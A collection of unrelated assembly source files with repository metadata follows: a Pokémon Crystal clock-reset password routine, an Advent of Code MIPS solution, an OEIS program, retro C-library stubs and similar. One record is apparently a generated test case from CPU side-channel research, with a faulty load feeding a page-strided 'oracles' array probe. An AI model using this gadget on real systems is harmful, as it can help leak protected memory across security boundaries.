_ResetClock: farcall BlankScreen ld b, SCGB_DIPLOMA call GetSGBLayout call LoadStandardFont call LoadFontsExtra ld de, MUSIC_MAIN_MENU call PlayMusic ld hl, .text_askreset call PrintText ld hl, .NoYes_MenuHeader call CopyMenuHeader call VerticalMenu ret c ld a, [wMenuCursorY] cp $1 ret z call ClockResetPassword jr c, .wrongpassword ld a, BANK(sRTCStatusFlags) call GetSRAMBank ld a, $80 ld [sRTCStatusFlags], a call CloseSRAM ld hl, .text_okay call PrintText ret .wrongpassword ld hl, .text_wrong call PrintText ret .text_okay ; Password OK. Select CONTINUE & reset settings. text_far UnknownText_0x1c55db text_end .text_wrong ; Wrong password! text_far UnknownText_0x1c560b text_end .text_askreset ; Reset the clock? text_far UnknownText_0x1c561c text_end .NoYes_MenuHeader: db 0 ; flags menu_coords 14, 7, SCREEN_WIDTH - 1, TEXTBOX_Y - 1 dw .NoYes_MenuData db 1 ; default option .NoYes_MenuData: db STATICMENU_CURSOR | STATICMENU_NO_TOP_SPACING ; flags db 2 ; items db "NO@" db "YES@" ClockResetPassword: call .CalculatePassword push de ld hl, wStringBuffer2 ld bc, 5 xor a call ByteFill ld a, $4 ld [wStringBuffer2 + 5], a ld hl, .pleaseenterpasswordtext call PrintText .loop call .updateIDdisplay .loop2 call JoyTextDelay ldh a, [hJoyLast] ld b, a and A_BUTTON jr nz, .confirm ld a, b and D_PAD jr z, .loop2 call .dpadinput ld c, 3 call DelayFrames jr .loop .confirm call .ConvertDecIDToBytes pop de ld a, e cp l jr nz, .nope ld a, d cp h jr nz, .nope and a ret .nope scf ret .pleaseenterpasswordtext ; Please enter the password. text_far UnknownText_0x1c562e text_end .updateIDdisplay hlcoord 14, 15 ld de, wStringBuffer2 ld c, 5 .loop3 ld a, [de] add "0" ld [hli], a inc de dec c jr nz, .loop3 hlcoord 14, 16 ld bc, 5 ld a, " " call ByteFill hlcoord 14, 16 ld a, [wStringBuffer2 + 5] ld e, a ld d, $0 add hl, de ld [hl], "▲" ret .dpadinput ld a, b and D_LEFT jr nz, .left ld a, b and D_RIGHT jr nz, .right ld a, b and D_UP jr nz, .up ld a, b and D_DOWN jr nz, .down ret .left ld a, [wStringBuffer2 + 5] and a ret z dec a ld [wStringBuffer2 + 5], a ret .right ld a, [wStringBuffer2 + 5] cp $4 ret z inc a ld [wStringBuffer2 + 5], a ret .up call .getcurrentdigit ld a, [hl] cp 9 jr z, .wraparound_up inc a ld [hl], a ret .wraparound_up ld [hl], $0 ret .down call .getcurrentdigit ld a, [hl] and a jr z, .wraparound_down dec a ld [hl], a ret .wraparound_down ld [hl], 9 ret .getcurrentdigit ld a, [wStringBuffer2 + 5] ld e, a ld d, $0 ld hl, wStringBuffer2 add hl, de ret .ConvertDecIDToBytes: ld hl, 0 ld de, wStringBuffer2 + 4 ld bc, 1 call .ConvertToBytes ld bc, 10 call .ConvertToBytes ld bc, 100 call .ConvertToBytes ld bc, 1000 call .ConvertToBytes ld bc, 10000 .ConvertToBytes: ld a, [de] dec de push hl ld hl, 0 call AddNTimes ld c, l ld b, h pop hl add hl, bc ret .CalculatePassword: ld a, BANK(sPlayerData) call GetSRAMBank ld de, 0 ld hl, sPlayerData + (wPlayerID - wPlayerData) ld c, $2 call .ComponentFromNumber ld hl, sPlayerData + (wPlayerName - wPlayerData) ld c, NAME_LENGTH_JAPANESE - 1 call .ComponentFromString ld hl, sPlayerData + (wMoney - wPlayerData) ld c, $3 call .ComponentFromNumber call CloseSRAM ret .ComponentFromNumber: ld a, [hli] add e ld e, a ld a, $0 adc d ld d, a dec c jr nz, .ComponentFromNumber ret .ComponentFromString: ld a, [hli] cp "@" ret z add e ld e, a ld a, $0 adc d ld d, a dec c jr nz, .ComponentFromString ret
13.830769
57
0.696607
a1e35d1dd31de896c2bde0ac3f658cacfc35fbb0
7,794
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_124.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_124.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_124.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r9 push %rbp push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_normal_ht+0x761e, %rsi lea addresses_UC_ht+0x1e5ae, %rdi clflush (%rdi) nop nop nop add $45193, %r11 mov $29, %rcx rep movsl nop nop nop nop dec %rbx lea addresses_D_ht+0xe6ba, %rbp nop nop dec %rcx mov $0x6162636465666768, %r11 movq %r11, %xmm5 movups %xmm5, (%rbp) nop nop nop nop cmp $58323, %r11 lea addresses_normal_ht+0x549e, %rsi lea addresses_WT_ht+0x909e, %rdi nop nop nop nop nop cmp $63373, %rdx mov $23, %rcx rep movsq nop nop nop sub $63877, %rsi lea addresses_WT_ht+0x1cbf1, %rsi lea addresses_normal_ht+0x252a, %rdi nop nop nop nop nop cmp $9623, %r9 mov $122, %rcx rep movsb nop nop nop and $50201, %r11 lea addresses_D_ht+0x5b6a, %r9 nop nop inc %rsi movl $0x61626364, (%r9) nop nop nop nop xor $29145, %rbp lea addresses_WC_ht+0x1819e, %r9 nop nop nop nop dec %rcx mov (%r9), %si nop nop add $32378, %rdx lea addresses_normal_ht+0x8c9e, %rsi lea addresses_WT_ht+0x1309e, %rdi clflush (%rsi) nop nop nop nop and $47141, %r11 mov $24, %rcx rep movsl nop nop add %r9, %r9 lea addresses_A_ht+0x1ee9e, %rcx nop nop nop nop dec %rsi movb $0x61, (%rcx) nop nop nop nop nop xor $12574, %rsi lea addresses_WC_ht+0xc8ee, %rbp nop nop sub $64450, %r11 movb (%rbp), %bl nop nop nop add $30119, %rcx lea addresses_UC_ht+0x1789e, %rsi nop nop xor %rbx, %rbx mov (%rsi), %rcx and %r9, %r9 lea addresses_WC_ht+0x1b89e, %rdx nop nop cmp $35229, %rbx mov $0x6162636465666768, %r9 movq %r9, %xmm4 vmovups %ymm4, (%rdx) nop add $39348, %r11 lea addresses_UC_ht+0x10c6d, %rbx nop xor $17512, %rdi vmovups (%rbx), %ymm2 vextracti128 $1, %ymm2, %xmm2 vpextrq $1, %xmm2, %r11 nop nop nop nop nop cmp $63240, %rcx lea addresses_A_ht+0x19e7, %rdx add $1843, %rbx mov (%rdx), %di nop nop nop nop nop xor $58455, %rcx lea addresses_A_ht+0xcee, %rcx nop nop and %rbp, %rbp mov (%rcx), %bx nop cmp $36864, %rdi lea addresses_normal_ht+0x849e, %rdi nop nop sub $45941, %rbx mov $0x6162636465666768, %rsi movq %rsi, (%rdi) nop nop nop nop nop xor %r9, %r9 pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %rbp pop %r9 pop %r11 ret .global s_faulty_load s_faulty_load: push %r12 push %r13 push %r9 push %rcx push %rdx // Faulty Load lea addresses_normal+0x1889e, %rdx sub %r9, %r9 movups (%rdx), %xmm7 vpextrq $0, %xmm7, %r12 lea oracles, %r9 and $0xff, %r12 shlq $12, %r12 mov (%r9,%r12,1), %r12 pop %rdx pop %rcx pop %r9 pop %r13 pop %r12 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': False, 'NT': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': True, 'NT': False}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 2, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 2, 'size': 16, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 9, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 1, 'size': 4, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 7, 'size': 2, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 10, 'same': True}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 10, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': True, 'congruent': 7, 'size': 1, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': True, 'congruent': 3, 'size': 1, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 11, 'size': 8, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 8, 'size': 32, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 0, 'size': 32, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': True, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 4, 'size': 2, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 7, 'size': 8, 'same': False, 'NT': False}} {'34': 21829} 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 */
33.307692
2,999
0.658455
ae27fcd47be53c23cdeeb069eda31b3dad60ec91
6,993
asm
Assembly
advent_of_code_2021/days/day03/mips.asm
maddiethecafebabe/doodles
752a290432ce9e1dfd255e75252943a35aff6c89
[ "0BSD" ]
1
2022-02-23T20:00:26.000Z
2022-02-23T20:00:26.000Z
advent_of_code_2021/days/day03/mips.asm
maddiethecafebabe/doodles
752a290432ce9e1dfd255e75252943a35aff6c89
[ "0BSD" ]
null
null
null
advent_of_code_2021/days/day03/mips.asm
maddiethecafebabe/doodles
752a290432ce9e1dfd255e75252943a35aff6c89
[ "0BSD" ]
null
null
null
.globl main .text main: la $a0, fname la $a1, input_buf lw $a2, input_buf_len jal read_input_file move $s0, $v0 # buf move $s1, $v1 # cnt_read move $a0, $s0 jal get_binary_digits_len move $s2, $v0 # len(line) sw $s2 line_len # count(lines) addi $t0, $s2, 1 divu $s4, $s1, $t0 sw $s4, line_count li $s3, 0 main_loop_1: move $a0, $s3 # index move $a1, $s0 # buf move $a2, $s2 # len(line) move $a3, $s4 # count(lines) jal column_sum_at_index # push to stack subi $sp, $sp, 4 sw $v0, ($sp) addi $s3, $s3, 1 blt $s3, $s2, main_loop_1 # $t0 = cnt_lines / 2 li $t0, 2 divu $t0, $s4, $t0 li $s3, 0 li $t6, 0 main_loop_2: lw $t1, ($sp) addi $sp, $sp, 4 li $t2, 1 bge $t1, $t0, one li $t2, 0 one: sllv $t5, $t2, $s3 or $t6, $t6, $t5 addi $s3, $s3, 1 blt $s3, $s2, main_loop_2 move $s5, $t6 # $s5 = gamma not $s6, $s5 # $s6 = ~gamma move $a0, $s2 jal make_mask and $s6, $s6, $v0 sw $s5, part1_gamma sw $s6, part1_epsilon mul $t5, $s5, $s6 sw $t5, part1_solution jal do_part2 sw $v0, part2_solution jal print_solutions exit: li $v0, 10 syscall do_part2: # get oxygen subi $sp, $sp, 4 sw $ra, ($sp) # copy the input buf over to the scratchpad0 la $a0, input_buf la $a1, scratchpad0 move $a2, $s4 # max linecnt jal linecpy la $a0, scratchpad0 la $a1, scratchpad1 move $a2, $s4 li $a3, 0 la $t8, most_common_at_index jal line_find_match sw $v0, part2_o_rate lw $ra, ($sp) addi $sp, $sp, 4 jr $ra # $a0: buf # $a1: outbuf # $a2: cur_count # $a3: cur_index # $t8: callback # $v0: result number line_find_match: subi $sp, $sp, 24 sw $s0, ($sp) sw $s1, 4($sp) sw $s2, 8($sp) sw $s3, 12($sp) sw $ra, 16($sp) sw $s4, 20($sp) move $s0, $a0 # buf move $s1, $a1 # outbuf move $s2, $a2 # cur_count move $s3, $a3 # cur_index line_find_match_loop: lw $t0, line_len move $a0, $s3 move $a1, $s0 jalr $t8 move $a0, $v0 li $v0, 1 syscall move $v0, $a0 move $t0, $s3 # index_offset move $t1, $zero # line_offset move $t2, $zero # cur_iter_cnt move $t3, $zero # new_dst_count move $s4, $v0 # most common/least digit line_find_match_copy_loop: bge $t2, $s2, line_find_match_copy_loop_exit # line_offset = (line_len + 1) * cur_iter_cnt lw $t1, line_len addi $t1, $t1, 1 mul $t1, $t1, $t2 # construct the pointer offset in $t7 # ptr_offset = line_offset + index_offset add $t7, $t1, $t0 # cur_index_char = $t6 = ptr[ptr_offset] add $t6, $s0, $t7 lb $t6, ($t6) subi $t6, $t6, '0' bne $t6, $s4, line_find_match_copy_loop_tail # we found a match! addi $t3, $t3, 1 # copy it over # ptr offset to start of line # $t1 # src = $s0 + line_offset, dst = $s1 + line_offset, len = line_len, + 1 newline li $t7, 0 # idx lfmcl_copy: lw $t6, line_len bge $t7, $t6, lfmcl_copy_end add $t6, $t1, $t7 # ptroffset = line_offset + idx add $t5, $s0, $t6 # src + ptroff lb $t4, ($t5) # src byte add $t5, $s1, $t6 sb $t4, ($t5) lfmcl_copy_tail: addi $t7, $t7, 1 b lfmcl_copy lfmcl_copy_end: li $t4, '\n' sb $t4, 1($t5) line_find_match_copy_loop_tail: addi $t2, $t2, 1 b line_find_match_copy_loop line_find_match_copy_loop_exit: move $s2, $t3 li $t1, 1 # while (cur_count > 1) ble $s2, $t1 line_find_match_exit lw $t1, line_len bge $s3, $t1, exit addi $s3, $s3, 1 # cur_index++ xor $s0, $s0, $s1 # swap(buf, outbuf) xor $s1, $s1, $s0 xor $s0, $s0, $s1 b line_find_match_loop line_find_match_exit: # only 1 match left, phew lw $s0, ($sp) lw $s1, 4($sp) lw $s2, 8($sp) lw $s3, 12($sp) lw $ra, 16($sp) lw $s4, 20($sp) addi $sp, $sp, 24 jr $ra # $a0: index # $a1: buf # $a2: count(lines) # $v0: most common, either '0' or '1' most_common_at_index: subi $sp, $sp, 4 sw $ra ($sp) move $a3, $a2 lw $a2, line_len jal column_sum_at_index sub $t0, $a2, $v0 # t0 = count(lines) - ones bgt $t0, $a2, most_neg li $v0, 1 b most_ret most_neg: li $v0, 0 most_ret: lw $ra ($sp) addi $sp, $sp, 4 jr $ra # $a0: index # $a1: buf # $a2: count(lines) # $v0: most common, either '0' or '1' least_common_at_index: subi $sp, $sp, 4 sw $ra ($sp) move $a3, $a2 lw $a2, line_len jal column_sum_at_index sub $t0, $a2, $v0 # t0 = count(lines) - ones ble $t0, $a2, least_pos li $v0, 1 b most_ret least_pos: li $v0, 0 least_ret: lw $ra ($sp) addi $sp, $sp, 4 jr $ra # $a0: src # $a1: dest # $a2: cnt linecpy: li $t0, 0 lw $t1, line_len addi $t1, $t1, 1 # \n mul $t1, $t1, $a2 linecpy_loop: add $t3, $a0, $t0 add $t4, $a1, $t0 lb $t2 ($t3) sb $t2 ($t4) addi $t0, $t0, 1 blt $t0, $t1, linecpy_loop jr $ra print_solutions: la $a0, day li $v0, 4 syscall la $a0, part1_prompt syscall lw $a0, part1_solution li $v0, 1 syscall la $a0, newline, li $v0, 4 syscall la $a0, part2_prompt syscall lw $a0, part2_solution li $v0, 1 syscall la $a0, newline li $v0, 4 syscall jr $ra # parameters: # $a0: bitcnt # returns: # $v0: mask make_mask: li $v0, 0 bgtz $a0, make_mask_loop_head jr $ra make_mask_loop_head: subi $sp, $sp, 8 sw $s0, 0($sp) sw $s1, 4($sp) li $s0, 0 li $s1, 1 make_mask_loop: subi $a0, $a0, 1 sllv $s0, $s1, $a0 or $v0, $v0, $s0 bgtz $a0, make_mask_loop lw $s0, 8($sp) lw $s1, 4($sp) addi $sp, $sp, 8 jr $ra # parameters: # $a0: index # $a1: buf # $a2: len(line) # $a3: count(lines) column_sum_at_index: li $t0, 0 # $t0 = line_idx addi $t1, $a2, 1 # $t1 = step li $t6, 0 # $t6 = sum column_sum_at_loop: bge $t0, $a3, column_sum_at_exit mul $t2, $t0, $t1 # ptr_offset = line_idx * len(line) add $t3, $a1, $t2 # ptr = buf + ptr_offset add $t3, $t3, $a0 # ptr = ptr + index lb $t4, 0($t3) # c = *ptr subi $t5, $t4, '0' add $t6, $t6, $t5 addi $t0, $t0, 1 b column_sum_at_loop column_sum_at_exit: move $v0, $t6 jr $ra # parameters: # $a0: buf # returns: # $v0: len get_binary_digits_len: li $t0, 16 # max li $t1, 1 get_binary_digits_len_loop: add $t2, $a0, $t1 lb $t2, 0($t2) beq $t2, '\n', get_binary_digits_len_exit addi $t1, $t1, 1 ble $t1, $t0, get_binary_digits_len_loop get_binary_digits_len_exit: move $v0, $t1 jr $ra # parameters: # $a0: fname # $a1: buf # $a2: len # returns: # $v0: buf # $v1: bytes read read_input_file: move $t1, $a0 move $t2, $a1 move $t3, $a2 li $v0, 13 li $a1, 0 syscall bltz $v0, read_input_file_exit move $t0, $v0 li $v0, 14 move $a0, $t0 move $a1, $t2 move $a2, $t3 syscall move $t4, $v0 li $v0, 16 move $a0, $t0 syscall move $v0, $a1 move $v1, $t4 read_input_file_exit: jr $ra .data fname: .asciiz "./test-input.txt" input_buf: .space 13000 input_buf_len: .word 13000 scratchpad0: .space 13000 scratchpad1: .space 13000 part1_solution: .word 0 part2_solution: .word 0 day: .asciiz "===== Day 03 =====\n" part1_prompt: .asciiz " Part1: " part2_prompt: .asciiz " Part2: " newline: .asciiz "\n" part2_o_left: .word 0 part2_co2_left: .word 0 line_len: .word 0 line_count: .word 0 part1_gamma: .word 0 part1_epsilon: .word 0 part2_o_rate: .word 0 part2_co2_rate: .word 0
16.492925
80
0.618476
d8d384a9ab02ececc729062778d3b3018ceab8e8
1,626
asm
Assembly
programs/oeis/166/A166148.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/166/A166148.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/166/A166148.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A166148: a(n) = (9*n^2 + 9*n - 16)/2. ; 1,19,46,82,127,181,244,316,397,487,586,694,811,937,1072,1216,1369,1531,1702,1882,2071,2269,2476,2692,2917,3151,3394,3646,3907,4177,4456,4744,5041,5347,5662,5986,6319,6661,7012,7372,7741,8119,8506,8902,9307,9721,10144,10576,11017,11467,11926,12394,12871,13357,13852,14356,14869,15391,15922,16462,17011,17569,18136,18712,19297,19891,20494,21106,21727,22357,22996,23644,24301,24967,25642,26326,27019,27721,28432,29152,29881,30619,31366,32122,32887,33661,34444,35236,36037,36847,37666,38494,39331,40177,41032,41896,42769,43651,44542,45442,46351,47269,48196,49132,50077,51031,51994,52966,53947,54937,55936,56944,57961,58987,60022,61066,62119,63181,64252,65332,66421,67519,68626,69742,70867,72001,73144,74296,75457,76627,77806,78994,80191,81397,82612,83836,85069,86311,87562,88822,90091,91369,92656,93952,95257,96571,97894,99226,100567,101917,103276,104644,106021,107407,108802,110206,111619,113041,114472,115912,117361,118819,120286,121762,123247,124741,126244,127756,129277,130807,132346,133894,135451,137017,138592,140176,141769,143371,144982,146602,148231,149869,151516,153172,154837,156511,158194,159886,161587,163297,165016,166744,168481,170227,171982,173746,175519,177301,179092,180892,182701,184519,186346,188182,190027,191881,193744,195616,197497,199387,201286,203194,205111,207037,208972,210916,212869,214831,216802,218782,220771,222769,224776,226792,228817,230851,232894,234946,237007,239077,241156,243244,245341,247447,249562,251686,253819,255961,258112,260272,262441,264619,266806,269002,271207,273421,275644,277876,280117,282367 mul $0,3 add $0,5 bin $0,2 mov $1,$0 sub $1,9
180.666667
1,538
0.817343
c5c10e6acf450990008709717d0c7cfb11b0ee20
586
asm
Assembly
libsrc/_DEVELOPMENT/alloc/malloc/c/sccz80/heap_alloc.asm
teknoplop/z88dk
bb03fbfd6b2ab0f397a1358559089f9cd3706485
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/alloc/malloc/c/sccz80/heap_alloc.asm
teknoplop/z88dk
bb03fbfd6b2ab0f397a1358559089f9cd3706485
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/alloc/malloc/c/sccz80/heap_alloc.asm
teknoplop/z88dk
bb03fbfd6b2ab0f397a1358559089f9cd3706485
[ "ClArtistic" ]
1
2019-12-03T23:57:48.000Z
2019-12-03T23:57:48.000Z
; void *heap_alloc(void *heap, size_t size) INCLUDE "clib_cfg.asm" SECTION code_clib SECTION code_alloc_malloc ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; IF __CLIB_OPT_MULTITHREAD & $01 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; PUBLIC heap_alloc EXTERN asm_heap_alloc heap_alloc: pop af pop hl pop de push de push hl push af jp asm_heap_alloc ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ELSE ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; PUBLIC heap_alloc EXTERN heap_alloc_unlocked defc heap_alloc = heap_alloc_unlocked ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ENDIF ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
13.952381
43
0.501706
ecd9ff08fbc5bfea06bf89f3b2b7f1a5af8877da
280
asm
Assembly
libsrc/stdio/msx/fgetc_cons.asm
dex4er/deb-z88dk
9ee4f23444fa6f6043462332a1bff7ae20a8504b
[ "ClArtistic" ]
1
2018-09-04T23:07:24.000Z
2018-09-04T23:07:24.000Z
libsrc/stdio/msx/fgetc_cons.asm
dex4er/deb-z88dk
9ee4f23444fa6f6043462332a1bff7ae20a8504b
[ "ClArtistic" ]
null
null
null
libsrc/stdio/msx/fgetc_cons.asm
dex4er/deb-z88dk
9ee4f23444fa6f6043462332a1bff7ae20a8504b
[ "ClArtistic" ]
null
null
null
; ; MSX C Library ; ; getkey() Wait for keypress ; ; Stefano Bodrato - Apr. 2001 ; ; ; $Id: fgetc_cons.asm,v 1.4 2007/12/07 11:28:59 stefano Exp $ ; XLIB fgetc_cons LIB msxbios INCLUDE "#msxbios.def" .fgetc_cons ld ix,CHGET call msxbios ld l,a ld h,0 ret
12.173913
61
0.632143
797a0d08838ddb5b06c4944813dea3b7ffffd6f4
418
asm
Assembly
Tareas/Ensamblador/tasm/BIN/b.asm
TEC-2014092195/IC3101-Arquitectura_De_Computadores
9f96940bd74f8899aadf18d9668f4314d6012b52
[ "MIT" ]
null
null
null
Tareas/Ensamblador/tasm/BIN/b.asm
TEC-2014092195/IC3101-Arquitectura_De_Computadores
9f96940bd74f8899aadf18d9668f4314d6012b52
[ "MIT" ]
null
null
null
Tareas/Ensamblador/tasm/BIN/b.asm
TEC-2014092195/IC3101-Arquitectura_De_Computadores
9f96940bd74f8899aadf18d9668f4314d6012b52
[ "MIT" ]
null
null
null
include c:\tasm\suma\macro.cbc Pila Segment Dw 64 Dup(0) Pila EndS Datos Segment ha db 'hola mundo$' Datos EndS Codigo Segment inicio: Assume CS:Codigo, SS:Pila xor ax,ax mov ax, datos mov ds,ax PushAll mov ah,09h lea dx,ha int 21h PopAll xor ax,ax mov ax,4c00h int 21h Codigo Ends END inicio
10.195122
31
0.535885
b117cce26d3242184d55000e56e2af0a453e3a5a
28
asm
Assembly
src/main/fragment/mos6502-common/vbuaa=pbuz1_derefidx_vbuyy_rol_4.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
2
2022-03-01T02:21:14.000Z
2022-03-01T04:33:35.000Z
src/main/fragment/mos6502-common/vbuaa=pbuz1_derefidx_vbuyy_rol_4.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
null
null
null
src/main/fragment/mos6502-common/vbuaa=pbuz1_derefidx_vbuyy_rol_4.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
null
null
null
lda ({z1}),y asl asl asl asl
5.6
12
0.642857
9f67ea5beb4374b3abad17fed53ced14ba89b88e
543
asm
Assembly
third_party/antlr_grammars_v4/asm/asmMASM/helloworld2.asm
mikhan808/rsyntaxtextarea-antlr4-extension
be6a7881e0f6e1a5e8c8e65f7ca4898a2298aa77
[ "BSD-3-Clause" ]
127
2018-09-03T16:54:24.000Z
2022-03-27T15:07:28.000Z
third_party/antlr_grammars_v4/asm/asmMASM/helloworld2.asm
mikhan808/rsyntaxtextarea-antlr4-extension
be6a7881e0f6e1a5e8c8e65f7ca4898a2298aa77
[ "BSD-3-Clause" ]
63
2018-09-03T16:18:02.000Z
2022-03-14T13:44:17.000Z
third_party/antlr_grammars_v4/asm/asmMASM/helloworld2.asm
mikhan808/rsyntaxtextarea-antlr4-extension
be6a7881e0f6e1a5e8c8e65f7ca4898a2298aa77
